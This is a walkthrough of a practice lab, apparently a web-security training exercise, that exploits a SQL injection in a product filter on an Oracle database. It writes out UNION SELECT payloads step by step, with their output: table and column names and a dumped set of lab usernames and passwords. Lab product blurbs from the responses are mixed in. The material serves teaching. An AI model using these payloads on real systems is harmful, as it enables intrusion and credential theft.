

Lab-9: SQL injection attack, listing the database contents on Oracle

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

Since it is UNION Attack, the first step is to determine the number of columns, and the datatype of each column. The number of columns can be determined using the following payload:

GET /filter?category=Pets'+**UNION+SELECT+NULL,NULL+FROM+dual--** HTTP/2



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Pets' UNION SELECT NULL,NULL FROM dual--

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Babbage Web Spray

Webs can be so unpredictable, falling apart and crashing to the ground just when you don't want them to. Babbage web spray is here to help. This easy to use solvent will keep any web fully functional for as long as you need it to be. There is nothing more rewarding than waking up to a full web of bugs, you no longer need to fear eggs being laid overnight in your leftover pizza. The concerns of leaving food out as the refuse bag is full are gone forever. No flies on you, or your takeaway. Easy to use, just wait for Mr. Spider to do his daily rounds, shake the can and spray the web. WARNING: Make sure it is completely dry before Mr spider returns, you don't want him getting stuck and losing a leg in an effort to break free. The solvent has highly tested ingredients that work with the web's own adhesive qualities in order for it to be a complete working bug catcher. Babbage is a very versatile product, if used on low lying webs it will also work as a

The next step is to determine the datatype of the database, we can determine the datatype with the following payload:

GET /filter?category=Pets'+**UNION+SELECT+'string','string'+FROM+dual--**
HTTP/2



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To extract the contents from the ORACLE Database with the following payload:

GET
/filter?category=Pets'+**UNION+SELECT+table_name,NULL+FROM+all_tables--**
HTTP/2



Pets' UNION SELECT table_name,NULL FROM all_tables--

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APP_ROLE_MEMBERSHIP

APP_USERS_AND_ROLES

AUDIT_ACTIONS

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DR\$NUMBER_SEQUENCE

DR\$OBJECT_ATTRIBUTE

DR\$POLICY_TAB

DR\$THS

DR\$THS_PHRASE

DUAL

Fur Babies

Fur babies is a new concept for those of you who live in apartments where the Landlord doesn't allow pets. We have a huge selection of cute animal suits you can dress your babies in. All suits are made from breathable fabrics keeping your little ones cool, or warm, all year round. If you want a rabbit, what the heck, have a rabbit. If the landlord makes an appearance, just slip the hood down and he/she need never know. The best bit is we all know babies love raw veggies, you can hand feed them and talk to them in that silly voice reserved for animals and children. You will never be refused entry to your favorite restaurants again, your fur baby will be at your side wherever you go. They conveniently poop in a diaper so no early morning walks either. Have the best of both worlds, and surprise your friends and family if you purchase from one of our Wild and Rare ranges. Join the trendsetters of Beverly Hills, show off on Instagram, but

The Lazy Dog is brought to you by the same people who invented the wheel. Do you become frustrated when your small dog just can't keep up the pace, or stubbornly sits and gives up walking altogether? If the answer is yes, then The Lazy Dog is for you! As easy to fit as a harness these remote controlled owl wings are a must have for any dog lover. As soon as your pooch has taken its last step of the day just snap the wings into place and click the red 'flapping' button on your handheld remote. After a few seconds, your furry friend will be off the ground and up, up and away. Once at a safe height, WARNING: BEWARE OF LOW HANGING BRANCHES, click the blue button to initiate cruise control. The wings have inbuilt cameras so you can see what your dog sees. When clicking the black button your dog can swoop down and gain speed in the 'fake chasing rabbits' mode. This function is used at the owner's risk as it uses a lot of power, and if the battery pack dies a nasty accident could occur. Carrying your pooch has become a thing of the past. With The Lazy Dog, the dog park will become a place to enjoy again. You can also purchase an aviator hat and goggles, extra protection and peace of mind for you and your pooch.

USERS_NKXSGF

WRIS_ADV_ASA_RECO_DATA

WRRS_REPLAY_CALL_FILTER

WWV_FLOW_DUAL100

WWV_FLOW_LOV_TEMP

WWV_FLOW_TEMP_TABLE

XDB\$XIDX_IMP_T

The next step is to retrieve the column name of the table **USERS_NKXSGF**, The Following payload can be used:

GET

/filter?category=Pets'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_NKXSGF'-- HTTP/2



Pets' UNION SELECT column_name,NULL FROM
all_tab_columns WHERE table_name='USERS_NKXSGF'--

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Giant Grasshopper

If you are one of those anti-social people who like to sit in a corner and try not to catch anyone's eye, you probably know it doesn't always work. There will always be annoyingly cheery people who think you must be lonely and gatecrash your tranquility with mundane chit-chat. We breed our grasshoppers to an enormously threatening size, and train them to bite using the keyword, 'bite'. This is particularly useful when other pet owners aren't put off by its peculiarities and insist on chatting 'animal' with you. The grasshoppers are surprisingly easy to keep. They will keep your home free of bugs and vermin and need little else to eat. They are slightly jumpy about being taken out on a leash, but with practice, you will find a way to fall in step quite quickly. This particular breed has an exceptionally long lifespan and can be passed down through the generations. The grasshopper hasn't been cat, dog or child tested so we highly recommend not having any visit your home. Can be housed with other grasshoppers, an older quiet one could help to show it the ropes and understand the rules of the house.

PASSWORD_HQRCVM

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USERNAME_ZQBCJP

The next step is to retrieve username and password from **USERS_NKXSGF** table using the following payload:

GET

/filter?category=Pets'+UNION+SELECT+PASSWORD_HQRCVM,USERNAME_ZQBCJP+FROM+USERS_NKXSGF-- HTTP/2



Pets' UNION SELECT
PASSWORD_HQRCVM,USERNAME_ZQBCJP FROM
USERS_NKXSGF--

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dqjcbmacn0o3gn7hpucz

carlos

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administrator

zwoymiduzpt9wyayrv9b

wiener



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